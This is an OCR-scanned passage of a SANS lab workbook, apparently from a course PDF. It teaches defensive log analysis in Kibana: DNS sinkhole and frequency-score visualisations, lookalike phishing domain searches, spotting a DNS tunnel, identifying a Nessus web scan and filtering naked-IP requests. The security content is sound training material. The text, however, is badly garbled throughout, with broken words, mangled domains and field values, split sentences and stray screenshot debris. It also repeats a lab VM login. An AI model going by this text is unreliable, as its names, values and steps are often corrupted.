"lat" => 39.0481,
"lon"™ => -77.4728
1,
"region_code' => "VAY,
"asn" => 14618,
"p" => "54,161.95.242",
"dma_code" => 511,
Y"postal_code™ => "20149",
"country_code3™ => "Us",
"longitude™ => -77.4728,
"timezone'" => "Amerdica/New_York",
"as_org" => "Amazon.com, Inc ",
"country_name" => "United States",
"country_code2" => "ys®
1,
"protocol" => "TCP",
"source_ip" => "54.161.95,242",
"@version" => "1,
"tags" => [
8] "dinternal_destination®,
[1] "external_source"
1,
"source_port" => 88,
"sequence" => @,
"alert" => "ET CURRENT_EVENTS Possible PDF Dictionary Entry with Hex/Ascii replacement
" ,
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"orocess_name”
"priority"
"interface"
"query"

"g'id"

Tsid"
"destination_geo"
"hostname"
"destination_ip"”
"@timestamp"
"classification™
"file_name"
\shipment_notification
"host"

}

In addition to the DNS query behind the network socket you now also have the process, u >r, and a file name written by
the process. At this point, you can form a much better conclusion of what is occeurring.

The 1 .o le.com alert probably is the user JustinHenderson using ic plore.exe to download ChromeSetu .exe. The
user is likely trying to switch browsers from Internet Explorer to Google Chrome. Therefore, the first alert is probably a

false positive and benign.

The i ckmyp -kage-com.biz alert probably is the user JU inH nderson downloading a PDF usingm dg .exe. The

PDF is specifically called shipm it_notifi- ion_555.pdf. This alert cannot yet be confirmed as malicious, but the

=> "msedge.exe",

=> "1"’

=> "sodev-ethl-1",

=> "trackmypackage-com.biz",

=> 1,

=> 2017899,

=> {1,

=> "LIGHTFORGEDSK",

=> "192.168.2.39",

=> 2020-07-10T22:51:11.475Z,

=> "A Network Trojan was detected",
=> "C:\\Users\\JustinHenderson\\Downloads\
_555.pdf:Zone.Identifier",

=> "logstash"

additional context leans towards it being a potential phishing PDF.

1 Step-by-Step Videg Instructions

Lab ConclTs.ion;

- —— _ - “T—

Enrichm ntl b is now complete!
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O-bjecﬁves

+ Use DNS for blacklist detection
« Find malware by applying frequency analysis to DNS records
« Apply methods to identify likely phishing domains

- Identify anomalous DNS use

« Learn to build and use visualizations and dashboards

Exercise Preparation

Log into the Sec-555 VM

 Username: student

 Password: sec555

Open Firefox by clicking on the Fir fox icon in the top-left corner of your student VM.

ThenclickontheKi « bookmark in Firefox.

Logs for this lab have already been ingested and are stored in index | b2.1-complete. Answer the questions below using
ibana. All events for this lab occurred during April 11, 2017.

Change the indexto | b2.1-complete.
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{ni)

ele ' ori_. atus
lab...-co a lef-

labt. -comple e

All events for this lab occurred during April 11, 2017. To view the logs, click on the time picker in the top right. Then click
on . bsolute and enter in 2017-04-11 00:00:00.000 for the From field and 2017-04-11 23:00:00.000 for the To: field.
Then click on Go.

2017-04-11 60:00:00.000

2017-04-11 23:00:00.000

© 2022 SANS Institute 225



N_v.. “~ve Open Share rutorefresh € Tla: L ines

o T re-
oJi . 3.0 -
From ; o T
2017-04-1 00:00:00.000 20.7 . -11 23:00:1.:00.000
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After clicking Go, the time picker should reflect Apri 11 th 2017, 00:00:00.000 to April 11 th 2017, 23:00:00.000.

< 2/ v THRT017,0007 2.0°0 2 Al 11th T017, T3:00:00.000 ¥

rmg
Exercises
During this lab you will see some errors similar to below.
/7 DNS Sinkhole C Auto- April 11th 2017, 00:00:0 00O to April 11th 2017,
I
| " Requests | s §hare . Resresrhr  refresh < o 23 0000 4

These errors are caused by Kibana submitting your Visualization before all the parameters have been specified. This error

can be closed out of and will not affect the lab.
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s

I The cause of these errors are fixed in newer versions of Kibana.

Visualize DNS sinkholes

An end user browsed to a malicious site. Fortunately, the domain for this site was in a DNS sinkhole pointing to 0.0.0.0.

1. Which system attempted to access this site?

2. What was the domain for the site?
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‘ion

Please note that during this lab Kibana may generate an error stating Visualize: agg.type is undefined. This is normal and can be
ignored. The version of Kibana in the lab submits a search before the visualization is fully built. This causes a red bar to appear at
- the top with the error previously mentioned.
s
DNS sinkhole is used to take known bad domain requests and point them to a different IP address. For instance, if evil.com is a
* malicious domain, an internal DNS can be set to be authoritative for the domain and to always reply to requests with 0.0.0.0 or a

specific IP address. Lab Me Inc. has decided to use a DNS sinkhole of 0.0.0.0. This is a prevention technique. However, looking
for the sinkhole IP makes it also a detective technology.

Click on Visualize to create a new Visualization.

You should see this screen:
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If you do not see the image above on your screen, you need to click on Visi

‘ze at the top of the screen.

BTN

. ’ scores. | Parent Domain

" LioComgpel -DNSF que cy

=5

To create a new visualization, you need to click on the plus sign.

sualiz

Click on the Vertical bar to create a Vertical bar chart.
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For this visualization to work properly, it needs only to represent DNS sinkhole requests. To do this, set the search filter to

tags: ns_sinkhole and click on the search icon.

E tags:dns_sinkhole

Then click on lab2.1-con | te* for the search index. If need be, type in lab2.1 in the Filter box.

ta~sid _sh I le Uses luce e, s"

|

This tag was created using the Logstash code below.

if [answers] == "0.0.0.0" {
mutate {
add_ta_ => [ "dns_sinkhole" ]
1
}

Next, click on X-Axis.
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b ey

Then select Terms for Ag +egation and highest_registered_domain.keyword for the Field. Then set the Custom Label to Domain
= and click on Add sub-buckets.

R,

[0

TR
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The difference between highest_registered_domain and highest_registered_domain.keyword is that highest_registered_domain
is a field that contains a tokenized copy of data. The highest_registered_domain field is used for non-exact searches such as
finding the name "Justin" in a field containing "Justin Henderson." The highest_registered_domain.keyword field represents and

. contains only exact field data. Therefore, on a visualization, it will only graph out full field data, and on a search, it will only find
exact matches.

. Select Split Series for bucket type.

232 © 2022 SANS Institute

Technet24


https://technet24.ir

i

Set Sub Aggregation to Terms, Field to source_ip, and Custom Label to Source IP. Then click on the play button.

-~

Domain

T

fom

sauyee P

i

ir

=

You should be rewarded with this screen:
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. Answer: This shows 10.5.55.100 had a DNS request to a blacklisted domain called help-setting.info.

' /" Note
1 |t should not be normal for internal systems to be requesting blacklisted domains. If this happens, you should investigate the
system to find out why it requested the domain. This also means that deploying this technique in production ideally will display

an empty graph or table.

© 2022 SANS Institute
Technet24

234


https://technet24.ir

Save the visualization by clicking on Save. Set the Titleto [ S Sinkhole Requests and click Save.

ey
~

N ] s are

“av. Viiualiza icn

DNSSinkhe R st

Chart DNS request types

Charting out the # of DNS request types can be used to find anomalous DNS use.

1. Which domain had the highest number of **MX** records?

2. Which domain had the highest number of **A** racords?

Solution

" Go back to the create new visualizations page by clicking on Visualize in the top-left corner.

il / D5 S uho )
Ve ] £ ve Share
. Requess
: tagsic khole
3

1
To create a new visualization, you need to click on the plus sign.

isuali

Click on the Vertical bar to create a Vertical bar chart.

© 2022 SANS Institute

235



« 2

b al Bar

- Then click on lab2.1 -complete* for the search index. If need be, type in lab2.1 in the Filter box.

Frorr 2.’ Se rch, S_e tluX

Since the visualization you are about to create uses all DNS logs, no search filter needs to be applied. Next, click on X-Axis.

. etrics

“uchets

g £

w

(8]
[
-

Then select Terms for Aggregation and query_type_name.keyword for the Field. Then set the Custom Label to Query Type and click

I on Add sub-buckets.
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Select Split Series for bucket type.

< £ bas -

" Then select Terms for Sub Aggregation and highest_registered_domain.keyword for the Field. Then set the Custom Label to

L]

Domain and click on the play button.
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You should now see the completed chart.
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L

Answer: In this case, covertc2.com has an enormous amount of TXT,C AME, and MX records compared to other domains. The
domain google.com has the highest amount of A records.

! - Note

|
|
g

" Inthis case, covertc2.com was being used as a DNS tunnel. [t was performed using dnscat2 which uses IPsec to send
encrypted data using DNS TXT,C AM , and MX records. To better identify DNS tunneling, it may be helpful to create another
¥ chart showing DNS requests over time by source [P address.

S

Save the visualization by clicking on the save icon. Set the Title to DNS Query Type by Domain and click Save.

ISR

L
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DNS frequency analysis

Frequency analysis is extremely useful for finding adversaries trying to evade detection.

1. Find the primary domain with the lowest frequency score.

2. Find the subdomain with the lowest frequency score.

Solution

a) This visualization will be based on the parent_dom "n field.

Go back to the create new visualizations page by clicking on Visualize in the top-left corner.

DUSQu ry Type by . do-
oD Qu ry Type by S.ve Share Refresh .
o omaly refie h

To create a new visualization, you need to click on the plus sign.

. ali.

Click on Data table.
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“ata

C.* Taule Gauge

Then click on lab2.1-complete* for the search index. If need be, type in lab2.1 in the Filter box.

Foi.. e ySe.rch, select ], dex

B T

u la 2.1

Then click on Split Rows.

U es
ol uck £t t e
H

[l =
i Pl E

S . T hl=

Set Aggregation to Terms, Field to parent_domain_frequency_score, Order By to Term, Order to Ascending, Size to 1 0, and Custom
Label to Frequency Score. Then click on Add sub-buckets.
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Click on Split Rows.

Br

Set Sub A regation to Terms, Field to parent_domain.keyword, and Custom Label to Domain. Then click on the play button.
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You should now have the complete table showing parent domains with the lowest frequency score or highest chance of being
random.

wom o

ey
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Answer; The primary domain with the lowest frequency score is ths-wroclaw

Save this visualization by clicking on the save icon. Set the Titleto [ S Frequency Scores on Parent Domain. Then click Save.

. / DlISEeqrenty Scc =50 . F rent .
¥ 3t e
com nfun- ed :

S-ve jsi..at a. |

DNS Frer J.ne, St es o Parent T mai

b) Setup a frequency analysis visualization to find adversaries trying to evade detection with random domain names. This
E visualization will be based on the subdomain field.

Go back to the create new visualizations page by clicking on Visualize in the top-left corner.
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i Then click on lab2.1-complete* for the search index. If need be, type in lab2.1 in the Filter box.

—

R

L 17 »que « 'Sco e. on
P entD., i

To create a new visualization, you need to click on the plus sign.

isr liz .

Click on Data table.

Datg

DathT ° Gauge

Froma .le Sea ch, Sel ct Ind x
X

Then click on Split Rows.
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Bu- ets
] tb "t ¢

SHERovs

SplitTa -~

SetA nregation to Terms, Field to subdomain_frequency_score, Ord

er By to Term, Order to Ascending, Size to 10, and Custom

Label to Frequency Score. Then click on Add sub-buckets.

Buc s
tit

o
TEer O

il

sordomain_femu.. f SC0

Ll
£

[]

1

Then click on Split Rows.
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SetSub # -regation to Terms, the Field to subdomain.keyword, and Custom Label to Subdomain. Then click the play button at the

top of the screen.

' 4 a4
o )
= : OE
Ter 4o -
E Z §
cudtma L oywe M
metri— C yst
i
De.cer =~ 5 w
& Ber | < .% r ekt
i
i PFos
: = H §
i 54 deot ain
i

You should now see the table for lowest frequency subdomains.
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Answer: The subdomain with the lowest frequency score is Taw2nml.

Save the visualization by clicking on the save icon. Set the Title to D S Frequency Scores on Subdomains and click Save.

/D 'SFregu.. J5coreson
vooaagle » ca =z Skre
subdom- ns (4 aved)

!

Save is 'aliz- tion

D 'S Freq zncy Scores on Subdomai

Phishing identification
Lab Me Inc. received a phishing email. The end user clicked the link because it loo !l eitcame froml bmeinc.com.

1. What is the phishing domain?

2. What system requested this domain?

E Solution

Switch back to the discover tab by clicking on Discover.
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Search for highest_registered_domain:' bmeinc.com~ -highest_registered_domain:labmeinc.com.

highest_regi stered_domain:labmeinc. com~ ~highest_registe red_domain:labmeinc.com

| l b oest ste ed_doma n:laut .ein- tom~ -h. hest “tere _ mainke ncee v ,

i
Note

If you do not see any results, make sure you have lab2.1-complete* selected as your index.

Immediately, you will see results for Tabmeinc.com. Notice the starting character is the number 1 not the letter L.
' Answer: The phishing domain is Tabmeinc.com

This search can be saved and used to identify phishing domains being used visually. To do this, click on the save icon. Set the Save
¥ Search title to DNS Internal phishing domain matches and click Save.

1

New 3 Open are
is P

“av . search

DNSInte na'- h'shing domain matches

-

Switch back to the Visualize tab.

L —
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; Go back to the create new visualizations page by clicking on Visualize in the top-left corner.

ST egu cLores on
S . S

B

To create a new visualization, you need to click on the plus sign.

!

Click on Gauge.

D~a

L. taTa" aau-e

Clickon D > Inter:. | phishing domain matches in the From a saved search section. If need be, type phishing in the filter section to
limit the available saved searches you can click on.
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! %r, Fro. .- Save+S ren

pl _hir.

This will tell the visualization to use the previously saved search filter. Updating the saved search will update any visualizations

linked to it.
I

: Now click on Options, uncheck Show Legend, set the initial range so that it is from 0 to 0, set the second range so that it is from 1
to 1, remove the third range, and then click on the play icon.

T
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What this does is create a color-coded visualization. If there are
a green box. If one or more logs exists sh
many logs were found.

252

zero phishing domains found, then the number 0 will be displayed in

owing a phishing domain is in use, then the box will be red and display a count of how
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Count

RN
i

Save the visualization by clicking on the save icon. Set the Title to DNS Fuzzy Domain tches and click Save.

;DN Fuzzy ™ “main
s saved)

Ef =13
TALEEZ

Shere

=Vi.vali~ai g,

TNS Fuzzy Domain * atches

e

DNS dashboard

Build a dashboard that contains any visualizations built to answers steps 1 through 4.

Solution

g

* Switch to the Dashboard page by clicking on Dashboard.
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You should be presented with this screen.

sh rd

[

L

if you are presented with a different screen, then click on the Dashboard

-~

4
SCrers

5

— {7 ..-D
T 5

s,
pash sard

Create a new dashboard by clicking on the plus sign.

breadcrumb in the top-left corner.

.ash, ad

254
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i Next, click on Ad

/ Editing N~w ) .
Do L v, Tancel Add -ptio s
_ _ash_ o rd B D

! Add the visualizations to the dashboard by clicking on their names. You can type DNS in the Visualization Filter to only show
visualizations that contain the word DNS in them. Add them in the following order:
* DNS Query Type by Domain
* DNS Fuzzy Domain Matches
l * DNS Sinkhole Requests
I S Frequency Scores on Parent Domain

* DNS Frequency Scores on Subdomains

l Visu lization 178 h
DNE
lar e
g

>Frqie o - orc ¢ .rrrent, o
DU F zquenc “cores on subdomans

"N Tizz Dom . F .o s

"TN5QueryT p= sDon in

Wt

D IS ikh e Requ-=sts

; You can then resize each visualization on the dashboard by dragging the window using the symbol in the bottom right corner of
~ each visualization.
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i

el
T
B ¢ I |

Resize the windows to make th

window during this process.

e dashboard look like below. Your luck may vary based on screen siz

e. It helps to maximize Firefox's

!
DM4% Query Type by Doman DNE Fu:zy Domain Maiches
CoOVertC2.Lom
a0 ostopr  <Om a-
cymiu.com =5
e g [+ ) re.com
goo  .com
[ = ) anicnicnes Count =
L850 rasaft.com B
@hkrece = 4 -
5 aspexleads.com - -
< mi .-ga [eom
z -afilestare.com .
untise-hubler.com Count o
. Tyg o o
fundra-tennesoon
-
[0 = S ores on n o F g noy. oreson?® Coman
Frequency Score Subdomain Count Frequency Score Domain Count ~
0.618 tawznmi 1 3.594 ths-wroclaw z
0.657 xr5hzhke3] 2 3.634 Z5az585uU 1
0.774 avmkafkwrrmmvhl 1 3.696 tumij t 3
0.933 xr7zdthrSegn 1 3779 zuxixamydu 1
0.987 UNDBLUZMEBOWAWS 1 3.844 crapdns 4
1.202 1qdZatmar|SudEyE 1 4.16 Ichhmba 4

_ Now save the dashb

have a simple, yet effective, tactical d

256

oard by clicking on Save and setting the title to DNS Dashboard. Then
ashboard. This is a basic example that can still be extremely effective.
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wime

FE WL su o U )
) - 3 e
(Uns vod
S5 e-as _c.r
Title
ON D--8F ¢
D ritio
Stors e v th dashpac
Note

the bottom of the dashboard, you can simply scroll down and look at the logs. You can see this by first going back to the
Dashboards screen.

e

e

e

[N 4

RIS

L3 2.,

- DN

D.5 soard

Fuli

ITreen

Then search for Lab 2.1 and then click on the dashboard called "Lab 2.1 - DNS Dashboard".

Lasy2.

1

© 2022 SANS Institute

257




! Then scroll to the bottom, and you will see the DNS logs underneath the dashboard.

..202 iqd2atn r3u g8 1 .16
l ita. € o o 2+ B
Th qu ¥ guer ty _n= hin tr i r _ n in
i A 11 .20 7,1 1135716 2756210 T gsmv oM
- e ong
! bopr o
m
T &
= . 2fi -sta. LT pril 1it. 17, 19:13.. .716
|arsion <, - I3 3
E e tReceive ime 8] 2 17- -12 .2:.0:30

N

* This allows you to start an investigation directly from a dashboard. You will not need to switch back to the Discover tab.

Step-by-Sten Video Instructions

—rr—— e — ] - ] e

L.ab Conclusion

—p— m—— - p———]

in this lab, you have learned how to build out a tactical dashboard for inspecting DNS traffic. This included:

- Building out visualizations to graphically represent data
- Using Levenshtein distance in the form of fuzzy searching to find phishing domains

. Constructing a dashboard composed of multiple visualizations
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. Implementing color coordinated visualizations to represent good or bad

L b2.1is now complete!
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Obiectives

. Use standard HTTP fields to find abnormal events
- Use log enrichment data to filter out the noise

« [dentify web server scans

« Look for unusual naked IP requests

. Learn to build and use visualizations and dashboards

Exercise Preparation

Log into the Sec-555 VM

+ Username: student

« Password: sec555

Logs for this lab have already been ingested and are stored in index | b2.2-com ' and have a log_event_type of L.
To answer the questions below, use Kibana.

Open Firefox by clickii on the Fi. ox icon in the top-left corner of your student VM.

Then cl'ck on the Kit 1 bookmark in Fir . o .

- 1 jocal

Change to the Discover section.

260 © 2022 SANS Institute


https://technet24.ir

C'- on ewto wipe out any previous search settings.

oL flew ave

Change the index to lab2.2-complete.

= — — = —

lab1.” complete

fabt. --o0. plete

abt. o Lt
a1 ete
| S
| Exercises

Identify web scan

Between March 10t ang March 15% of 201 7, multiple web scans were performed against vmmonitor.test.int and

pkiO1.test.int. This activity included attempts to perform directory traversals, cross-site scripting, and many other forms
of web attacks.

1. Which system performed the scan?
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2. How many 404 errors were caused by this scan?

3. Was the scan malicious?

- Solution

' First, click on the + te pickerin the top-rightc
2017-03-15 23:59.

i 2617-03-16

2017-03-15 23:59

PR o
[E—
i .- ~
2017-03-10 2017- . -15 23159
. h =7 £ reh >
1 *Fou F " . T . t Fr
61 & 03 r -
e a e - o %
i= %3 4 is 2 3 = 16 7 tH
2% T b 3 5 25
- — 4 b
l 7 ote

Notice that the From and To fields do not have to be filled out. If you do not specify something,

For example, the From field for this search was changed to 2017-03-10 00:00:00.000.

This shows 118,084 hits. Visually there are some spikes, but the Discover tab is not the best way to track the web scan down.
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L

[,

Switch to the Visualize section.

You should see this screen:

Visu li.

Dat. Tahle

5 B .
2 HE R . : . fawe

Data Taole

if you do not see the image above on your screen, you need to click on Visualize at the top of the screen.

/ LabCopl ta-niNs Frequency

~-lhe® © Pare it Bomal.

"
g

To create a new visualization, you need to click on the plus sign.
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Click onthe® tical bar to create a Vertical bar chart.

-

Pi vertt 31 Bar

Then click on lab2.2-complete* for the search index. If need be, type in" b2.2 in the Filter box.

Oii: .- S ra Sel c.In eX

- |

atus code of 404 as well as 200. Start by building out a bar chart that

it is common to see a st
AND status_code:404". Then click

When looking for web scan activity,
y source |P. In the search bar, enter "log_event_type:http

identifies the top sources of 404 errors b

on the search icon.

Iog_event_type:http AND status_code:404

: log e ent YL tir AND sta. '5_Cor & J JIos )

g

Next, click on Split Series.
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@.@4 es
B %
.

Then set the Aggregation to Terms, Field to source_ip,

Size t0 3, and Custom Label

i i f
n
Terms hd
source_'p h
F
i metric: “ount
o, )
Pal
Dec-er = 3 -
o th, lu in A Bt
Y mie
L H
S0Urc~ [P
; é?‘%f‘i sz F r;=E§x. 5
| LATE T s o
Select X-Axis.
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to Source IP. Then click on Add sub-buckets.
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‘ Then set Sub Aggregation to D .2 Histogram. Then click on the play button.

] ad
. ¥ 1 j
¢ Sta : ~H 1
D *‘eHstoran
AT
_tmestan.p v
Voo

Axis is so that the search is first sorted by source_ip and then by d te. This

f Thereason for adding the Sp. t Bars before the X-
you were to add the X-Axis first and then the Split Bars,

makes the legend reflect the top source_ip that has 404 status codes. If
the outcome would display differently due to the order of the search.

You should then see the below graph.
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Save the visualization by clicking on the save icon. Set the Title to HTTP Status Code 404 by Source IP and then click on Save.

. HTTP * - Co'~> Y Sour e Ip
(e .d) -

Cave Visu li"a, n

HTTP Stat . Code 4 b ource Ip

log_event_type:http AND status_code:200

TR o

9 oeventt- ~ht" “N” statis_ o :200

In this graph, 10.0.0.1 has the most 200 status codes followed by 10.0.1.201. This means that 10.0.0.1 could also be performing a
web scan. However, it is unclear without knowing the destination virtual_host(s).

RN
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You now have the same chart layout but specific to web page requests that were successful. Click on the save icon and change the

Title to HTTP S *us Code 200 by Source IP and then click on Save.

HTTP St-*u Code «0 .k Snurce iP =  Shar
TTP Strtus e 2C - 'Sowr * P

veas e 'ui7d g

™

1 still looks like the primary suspect, these charts do not identify the target web site(s). To identify these targets,

} While 10.0.1.20
left corner.

create a new visualization by first clicking on Visualize in the top-

¥ HTTPSta.'sCo e200L 50 7 Sa.2 o
i . tpeht. AAD status_code:200

To create a new visualization, you need to click on the plus sign.
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N

e

isu i

Select Data Table.

Data

M i Tabi>

sauge

Type lab2.2 in the filter and then click on lab2.2-complete.

i3h2.2

Frornm a 12:S arc,, S| ctind x

First, set the search filter to "log_event_type:http". This makes the visualization specific to only http events.

log_event_type:http

lo eveni_type:iht-

For the bucket type, select Split Rows.
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L Jsu c

L]

For the bucket type, select Split Rows.

270
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Set Sub Ag .egation to Terms, Field to virtual_host.keyword, Size to 2, and Custom Label to Virtual Host. Then click on Add sub-
buckets.

Hre i
- A t
i Te ms v
L
b
virah  stkey vo d -
F r ¥

4

met o Tount

()

7

Descer ~ z
= 3 i i s

T |

R « 4
Virtue . Hoe ™
£ weg POF
{ N tig |
For the bucket type, select Split Rows.

o
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i~ thu e WE-

~ Set Sub Aggregation to Date

spdit o

istogram and then click on the play button.

LQ* “e Histogra 1

Fi
@ 1 eSta an v
You should see the below table.
~h I ual .t < st nt
GET s3. I*d shwuz.a v-cdn.ne A47-03-11 0710 427
| T 3. "ud » sal -« nn . 20 7-03- - 20y 2,35,
>f‘ FT s3.dvitd “hwusavomnn t 201 -03-11 2:0C g
ET s3.'".d “h.is.a @ wne 20 7-0.- 17700 ~5
GET =" hid - Lus.a. -cdrunet 2017 3- . 31770 2.0
Ge - Otterll it 27 7-02-  L0ux. - 57
GET nki0t.test | 2017-0 14007 0 R o
-PSS}‘ ng: .sma tstud .co - N 70 0091 2
‘P T »omatwt o Q0 7-02- Q.r” 3Z
POS™ AEr” fice ~udh o kr 20 7-03-~ 2. 17
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The remaining question for step one is what are the target web servers that were scanned. This only requires the
virtual_host.keyword field. However, adding the method.keyword and Date Histogram into the visualization allows it to be multi-
purpose. For instance, it could be used to find abnormal GET vs. POST use. Also, the timestamp breakdown helps identify if this
is many events over a short period or many events simply because you are searching over a long period.

Save the visualization by clicking on Save. Setthe T =2to HTTP  :thods by Virtu | Host and then click Save.

Voo v 7 HTTP  etho 3 -+ Virtu " Host(unsaved)

-

Sa e Vi. ualization

HTTP | e"he 1s by wirtunl Host

AR NTRTH LIS ————

“hare

Before adding these visualizations to a dashboard, switch back to the Discover tab and create a saved search for HTTP. First, click

on the Discover tab.

Then search for "log_event_type:http".

[’ log_event_type:http

§ fog event type:htip

" Hover over the following fields in the left column and click on Add to add them as columns:

- method
k - virtual_host
- uri

- uri_length
£
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! - destination_geo.asn
I - destination_geo.country_name

Example using method:

m ke

Click on Save and set the Save Search title to HTTP Defa' t Saved Search. Then clickonS e.

-| 583 i New L

g

S eSe

HTTPDef ul.© edsSsarch

Now you are going to create a dashboard and add these three visualizations and saved search to it. Switch to the Dashboard tab.

If an existing dashboard loads, click on the Dashboard link in the top-left corner.

Oe__ . i Lp2f-DiSD s1. ad

e o =]

|
|
|

Then click on the ew Dashboard icon.
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s

o

Click on the Add.

rachho -/ EditngNew Da boad “ave ancel Add

i

Add HTTP Methods by Virtual Host, HTTP Status Code 200 by Source IP, and HTTP St us Code 404 by Source IP by clicking on
them. It may help to type HTTP in the Visualization Filter.

vie atization Lod .
[ HTTP
nea
HIT ¢ 5 PRt
HTE b Tt 2 P
HIT., v ©-le 34bh e

Then switch to the Saved Search tab and add HTTP Default Saved Search. Again, it helps to type HTTP in the Saved Search Filter to
limit the results displayed.

Saved Search

"
L

© 2022 SANS Institute 275



Rearrange the visualizations to your liking.

Your dashboard should look similar to below.

HITP Stavis Coce 00 by Sowsre iP & HeopSws T A0 Jurce &
wa i @1 20!
i 19z 1 #1005
% 160120 ® 302168236

# Zon ! 3

5 i ]

= T

=
B
JUIEEENE v o 20175314
mestamp per 3hogre drmesamp  3haurs
4 a
: HTTR Detault Sav  Sear -
Time- method virtual_host uri uri fength

b March 14th 2017, 165951404 GET httpas/secS55.com 17

* March 1460 2017, 165941304 GET - hEpy/secsSSom 17

¥ March 14th 2017, 1659:31.264  GET httpu7secsss.com 7

*  March 14th 2017, 16:5028382  GET cdn-mediadisneymovt  sdmaspu fivel  cardsiunarcabfeat wy-kve-acionsfeature. -ard_bat 114

esa rre.com bintheaterss17  adjpg
» March 14th 2017, 165929160 GET dn-mediad oard 101

HTTP Methe by Virt

Method

= Virtuat Host -

GET s3.vitdashus.atv-
cdn.pet

GET s3.vit.dash.us.av-
cdn.net

GET s3.vit.dash.us.atv-
cdnnet

GFT <3 tlf dash s Ak

destination _gec.asn

Amazon.com, inc.

Amazon.com, Inc.

@timestamp per3 Count
hours

2017-03-11 0608 427
2017-03-11 09:00 2,358

2017-03-11 12:00 18

2017-03-11 1500 7%

1-500f58,364 £

destination ges.country_name

United States

United States

Throughout this process, the time should still be setto M ch 10 to  :rch 15™. The dashboard reflects this by showing relative
times such as X months ago or X years ago. If the date is not accurate, set it to March 101 to March 15t again. Save the dashboard
by clicking on Save and setting the title to HTTP Dashboard and then click Save.

D . 4
“wve s, 0 rd

T

E.n gHTTP Dast 50 rd g sa 2d)

HTTP Dashboard

+ sigtgﬁ

Store time .t dashboar .

Cancel

Now click on 10.0.1.201 on the HTTP Status Code 404 by Source IP visualization, and then click on the magnifying glass with the +
sign. This will apply a search filter of source_ip:"10.0.1.201" to the dashboard.
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et

Now the dashboard only reflects activity from a source IP address of 10.0.1.201. However, the first question specifically is asking
about vmmonitor.test.int and pki01.test.int. To have the dashboard filter down on these systems, search for "log_event_type:http
AND (virtual_host:"vmmonitor.test.int” OR virtual_host:"pki01.test.int")" in the search bar.

log_event_type:http AND (virtual_host:"vmmonitor.test.int" OR virtual_host: "pki®l,.test.int")

log_event _typethitp AND {virtual_host"vmmonitor.testi t" OR virtual_host"pk Ut.test. 17) U, B orer o onvsyrd

{her R

_ The search results show many GET and POST requests against both of these target sites. The question remaining is whether this is

R,

P——

a malicious scan or not. This can be difficult to identify if you do not know if there are trusted scanners at your organization. Within
the saved search, click on the Time column to sort the Time in Chronological order.

T t d virtu | ost

GET I wonitoriesth

This should show that the first event from 10.0.1.201 occurred on March 11 2017 at 00:01:26.761.
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E #" Note

This timestamp is specific to Pacific Time. The time of the logs will be shown according to the time zone of the machine

accessing Kil a.
E

i m " tu [host
¥ “arch Tth 201 | CHOV2676  GET p ity It
» ™1 th20 7, G113 5 GET pi0i.e .nt

Occasionally, a user-agent will give away whether something is malicious or not. However, looking at any of these logs shows that
10.0.1.201 has a user-agent of ozi la/4.0 (compatible; SIE8.0; .nde' NT 5.1; Tric nt/4.0). This is not helpful as it reflects a
Windows XP system using Internet Explorer 8. The next step could be to analyze the uri field to see if there are any telltale signs.

.. G0 ahead and scroll through a few pages of the saved search results and look at the uri field. Scroll to the bottorn of the Saved
Search and click the right arrow. Repeat this step a total of four times.

i s

-T 5 « F : H

st . 3

r
i
o
b
[
B
([

wuriln ti ien o in 1 country n .

In the middle of this page of search results, there are two logs that show directory traversal attacks trying to access win.ini. These
start at March 11" 2017, 00:06:51.408.

b » IC h? 7 9 71a7C ET Tites. T fmoaus LWRLY W 4

] o R A . C + B3 i =1 A\ W A VR S
" A

This time, the directory traversal attack starts with /nessus. This gives away that the scan is being performed by a Nessus
vulnerability scanner.
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Answer: 10.0.1.201 is likely not a malicious system. It is a vuinerability scanner. Between March 101 and March 15™, it caused
4,504 status code 404 errors against vmmonitor.test.int and pki01.test.int. The 404 count can be calculated by hovering over the
bars in the HTTP Status Code 404 by Source IP visualization and adding the totals.

Investigate naked IP requests:

Starting in 2017, Lab Me Inc. began monitoring naked IP requests. These are tagged with n ked_i . Specifically, they are
monitoring outbound connections from 192.168.2.0/24 and 10.0.0.0/24. Outbound connections from these subnets are
being monitored as they go out to the internet through a Fortinet firewall.

1. There are many naked IP requests. Which two ASNs eliminate almost all the naked IP requests?

2. Are there naked IP requests to other common businesses?

3. After eliminating common ASNs, how many naked IP addresses need to be investigated?

Solution

my

I Note

A naked IP request is a web request to an IP address rather than a domain name.

. This question involves looking for naked IP requests and finding ways to filter out legitimate noise. This requires finding naked IP
requests as well as information that can be used to filter on. For this lab,a+ of 1 ked_ip has been added to any HTTP event that
has a virtual_host using an IP address.

Begin by switching to the Visualize section.

b
W

Click on Visualize at the top of the screen.

Lre . HiTP Methode b Virfualdo t Save

e

To create a new visualization, you need to click on the plus sign.
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Select Data Table.

Mata

Data £ T e

In the From a new search section, enter a Filter of lab2.2 and then select lab2.2-con .ete.

3 rst a ;‘i o -i!_ ig S = - ! l‘ -

i_ 425.2'

First, set the search filter to "log_event_type:http AND tags:n ked_ip". This makes the visualization specific to only http events.

log_event_type:http AND tags:naked_ip

fog event_type:thtip ND* sn ed_ip

= T e

For the bucket type, select Split Rows.
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Set A

-egation to Terms, Field to virtual_host.keyword, Size to 6, and Custom Label to Virtual Host. Then click on Add sub-
buckets.

Split ..o
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For the bucket type, select Split Rows.
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l Set Sub A:  egation to Terms, Field to reverse_dns.keywo: , and Custom Lab 'to Reverse D S. Then click the play button.

¥ rtual H
#;000 ML
| L]
Terms hd
'.i '
reve . L. . L yord -
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T e‘ S!
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s
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Reverse DNS takes an IP address and attempts to resolve it back to a domain. Some sites do not have reverse DNS entries.
However, when they do, it is very helpful to identify and filter out legitimate traffic.

Your table should look like below.

Vi -t ot g v a C un'

ir 014 10.0 1

H . w2 IES g v, e 05007 SiEnfl oA Lasl £5
A N bam 1 1070914 Tobor vk 1.2t 3

R L [ Fogr ‘st mopfhon et .

o4 1. 40ed or 11 .nfixy

A B4 te, 0% o JilknHl vl b B

Save the visualization by clicking on Save. Set the Title to HTTP Naked IPs and then click on Save.

v ola Zz-. HITPN ediPs (unsaved) - Share
ave icual, a.on

ASN and geo-information are extremely helpful for filtering out legitimate naked [P requests. Proceed by building a visualization with
this information. Click on Visualize.

A HTIPH L iPs Sa e

og er ttype:htip AND tagsinaked_ip

To create a new visualization, click on the plus sign.
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Py

sy 12

- Select Data Table.

"\a;!"

D*aT:e 1 'ge

fnthe From anews: -ch section, enter a Filter of lab2.2 and then select lab2.2-complete.

Fr " f'eroe ~h Selectice-

r

fe2

T

Search for "log_event_type:http".

log_event_type:http

"

log ~vent_type:hiip -

For the bucket type, select Split Rows.
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Ll

It

1 cketc

Set A* -egation to Terms, Field to destination_geo.asn.keyword, and Custom Label to AS . Then click on Add sub-buckets.

